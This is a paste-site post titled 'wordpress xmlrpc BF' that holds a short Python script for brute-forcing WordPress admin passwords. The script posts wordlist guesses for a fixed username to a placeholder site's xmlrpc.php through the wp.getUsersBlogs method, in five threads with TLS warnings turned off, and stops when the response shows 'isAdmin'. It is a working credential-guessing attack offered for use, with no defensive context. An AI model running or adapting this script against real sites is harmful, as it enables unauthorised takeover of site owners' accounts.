Mr_hEx icon

wordpress xmlrpc BF

Mr_hEx | PRO | 03/25/23 07:55:47 AM UTC (Edited) | 1 ⭐ | 2064 👁️ | Never ⏰ | []
Python |

1.64 KB

|

None

|

1 👍

/

0 👎

import requests
import threading
import sys
import urllib3
urllib3.disable_warnings()
 
 
 
class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
 
 
 
 
def send_request(word, stop_event, count):
    headers = {"Content-Type": "application/xml"}
    data = f"""<?xml version="1.0" 
encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>amir</value></param><param><value>{word}</value></param></params></methodCall>"""
    response = requests.post("https://xxxxxxx.com/xmlrpc.php",data,headers=headers)
    if "isAdmin" in response.text:
        print(bcolors.OKGREEN + f'\r[+] Password is => {word} {len(word)*2*" "}')
        stop_event.set()
    else:
        sys.stdout.write(bcolors.WARNING + f"\r[!] Wrong Password => {word} => count {count} {len(word)* ' '}")
        sys.stdout.flush()
        print("\r", end=' '*20)
 
threads = []
with open('password.txt') as f:
    words = f.read().splitlines()
 
stop_event = threading.Event()
count = 1
NumberOfThreads = 5
 
for i in range(NumberOfThreads):
    t = threading.Thread(target=send_request, args=(words[i], stop_event,count))
    count +=1
    t.start()
    threads.append(t)
 
 
for i in range(NumberOfThreads, len(words)):
    if stop_event.is_set():
        break
    threads[i % NumberOfThreads].join()
    t = threading.Thread(target=send_request, args=(words[i], stop_event,count))
    count +=1
    t.start()
    threads[i % NumberOfThreads] = t
 
 
for t in threads:
    t.join()
 

Comments